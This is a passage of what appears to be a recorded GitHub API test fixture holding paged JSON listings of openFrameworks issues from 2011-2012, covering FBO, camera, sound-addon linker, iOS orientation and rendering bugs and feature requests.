","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-05-11T13:53:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883385,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Currently using an FBO with an ofCamera is really tricky, as both setup their own viewing matrix and viewport. \r\n\r\nDoes it make sense to have ofFbo use an ofCamera internally?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/568","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":568,"html_url":"https://github.com/openframeworks/openFrameworks/issues/568","assignee":null,"title":"ofFbo and ofCamera do not play well together.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-05-11T13:52:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":883380,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:31:30Z","body":"Greetings,\r\n\r\nI have downloaded the latest master of Openframeworks b4397c1 and I have tried to compile the AllAddons example (just to check if everything was well installed).\r\n\r\nThe ofxSynth library just won't compile (using either GCC or LLVM, Xcode 3 or Xcode4), be it in the allAddons or in it's own examples, here is the error log :\r\n\r\nUndefined symbols for architecture i386:\r\n \"typeinfo for ofxSoundEffect\", referenced from:\r\n typeinfo for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"non-virtual thunk to ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::ofxSoundSink()in ofxSynth.o\r\n \"vtable for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"vtable for ofxSoundSink\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n \"virtual thunk to ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"typeinfo for ofxSoundSink\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::setSampleRate(int)\", referenced from:\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::getInputs()\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::addInputFrom(ofxSoundSource*)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"VTT for ofxSoundEffect\", referenced from:\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n ofxSoundEffect::~ofxSoundEffect()in ofxSynthDelayLine.o\r\n \"ofxSoundEffect::setSampleRate(int)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundSink::audioIn(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundSink-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundEffect::audioOut(float*, int, int, unsigned long long)\", referenced from:\r\n vtable for ofxSynthFilterin ofxSynthFilter.o\r\n construction vtable for ofxSoundEffect-in-ofxSynthFilterin ofxSynthFilter.o\r\n \"ofxSoundBuffer::~ofxSoundBuffer()\", referenced from:\r\n ofxSoundSink::~ofxSoundSink()in main.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\n ofxSoundSink::~ofxSoundSink()in ofxSynthDelayLine.o\r\nld: symbol(s) not found for architecture i386\r\ncollect2: ld returned 1 exit status\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/566","comments":3,"milestone":null,"number":566,"html_url":"https://github.com/openframeworks/openFrameworks/issues/566","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth won't compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-05-07T12:25:01Z","state":"open","user":{"url":"https://api.github.com/users/benoitespinola","gravatar_id":"d08687285addcdde144d4eceb4cfa78e","login":"benoitespinola","avatar_url":"https://secure.gravatar.com/avatar/d08687285addcdde144d4eceb4cfa78e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":720460},"id":862321,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:48:58Z","body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"html_url":"https://github.com/openframeworks/openFrameworks/issues/565","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":853551,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '43807'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"78e9c565cba926f6a72fa2b7dd021b78"'), ('date', 'Tue, 29 May 2012 19:27:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"html_url":"https://github.com/openframeworks/openFrameworks/issues/564","assignee":null,"title":"ofxShader for iOS","labels":[],"closed_at":null,"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":132584},"id":850096,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"html_url":"https://github.com/openframeworks/openFrameworks/issues/560","assignee":null,"title":"fix ofFbo for openGL ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":833772,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"html_url":"https://github.com/openframeworks/openFrameworks/issues/520","assignee":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":723496,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"html_url":"https://github.com/openframeworks/openFrameworks/issues/519","assignee":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":721833,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"html_url":"https://github.com/openframeworks/openFrameworks/issues/510","assignee":null,"title":"movieGrabber/PlayerExamples are poorly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":693126,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"html_url":"https://github.com/openframeworks/openFrameworks/issues/507","assignee":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":689769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"html_url":"https://github.com/openframeworks/openFrameworks/issues/503","assignee":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":688955,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"html_url":"https://github.com/openframeworks/openFrameworks/issues/502","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":684091,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"html_url":"https://github.com/openframeworks/openFrameworks/issues/501","assignee":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":683732,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"html_url":"https://github.com/openframeworks/openFrameworks/issues/500","assignee":null,"title":"missing const version of getPixelsRef()","labels":[],"closed_at":null,"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":672608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4933'), ('content-length', '40272'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b87c61471553096d60e5ff8b292ff704"'), ('date', 'Tue, 29 May 2012 19:27:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx movieplayer problem on reloading","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","comments":0,"assignee":null,"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","number":495,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":659446,"closed_at":null,"created_at":"2011-03-09T16:17:56Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"GLUT 007 hack","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","comments":0,"assignee":null,"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","number":491,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":646846,"closed_at":null,"created_at":"2011-03-04T14:44:53Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"close corners on basic shapes?","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","comments":0,"assignee":null,"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","number":490,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":643861,"closed_at":null,"created_at":"2011-03-03T16:35:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofOrientation incompatible with iOS addon","html_url":"https://github.com/openframeworks/openFrameworks/issues/486","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","number":486,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","labels":[{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":635112,"closed_at":null,"created_at":"2011-02-28T18:14:04Z"},{"milestone":{"state":"open","description":"","title":"0073 Release","due_on":"2012-07-30T07:00:00Z","closed_issues":0,"open_issues":5,"number":6,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":62090,"created_at":"2011-12-03T15:37:49Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"grabFrame/idleFrame 